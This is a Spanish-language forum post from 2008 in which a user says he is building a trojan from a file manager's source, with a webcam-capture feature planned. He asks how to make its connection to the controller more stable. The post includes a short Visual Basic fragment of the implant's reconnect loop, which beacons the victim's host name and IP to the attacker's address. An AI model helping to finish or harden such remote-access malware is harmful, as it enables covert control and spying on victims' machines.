Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: Kasi en 24 Marzo 2008, 23:05 pm



Título: Conexión inestable
Publicado por: Kasi en 24 Marzo 2008, 23:05 pm
Hola muy buenas, vereis hace poco empecé a adentrarme en el mundillo de los troyanos  y similares, encontré el source de un  file manager de E0N y a partir de ahi lo adapte y añadí mas funciones , actualmente estoy haciendo la parte de capturar la camara web, pero bueno al grano.

El problema viene cuando la parte del servidor se queda abierta a la espera de que conecte al cliente, si la aplicación cliente no está abierta, el server empieza a sobrecargarse de tal manera que cada vez empieza a comer mas memoria hasta que llega a un extremo altisimo.

La manera de la que conecta es la misma que trae el file manager nombrado antes, no la he tocado, lo unico que hice fue sustituir los winsock por el CsocketMaster, y desde entonces es cuando empezó a tener ese problema, ademas de que la conexión tarda mas en establecerse.

He recorrido medio foro buscando a ver si encontraba algun metodo de establecer una conexión mas estable,rapida y que se sobrecargue menos.

Si pudierais echarme un cable o decirme algun metodo para hacerlo, me seria de mucha ayuda.

Gracias por adelantado, aqui  dejo el codigo de como esta actualmente el server para establecer la conexión.

Código:

Private Sub Timer1_Timer()
On Error Resume Next
If ws.State <> 7 Then 'Si estas desconectado.
ws.CloseSck 'ws.CloseSck  'Cerramos la conexión.
ws.Connect ip, port 'Y nos conectamos
Timer2.Enabled = True 'Desbloqueamos el timer2.
End If 'Cerramos el if
End Sub

Private Sub Timer2_Timer()
On Error Resume Next
If ws.State = 7 Then 'Si estas Conectado.
ws.SendData "hola|" & ws.LocalHostName & "|" & ws.LocalIP
Sleep 10
Timer2.Enabled = False
End If
End Sub

Tenia pensado el quitar esa parte y hacerla de nuevo , sin usar timer(no se si será recomendable o posible) y usando los eventos del ws , connect, disconnect, etc..


Saludos y gracias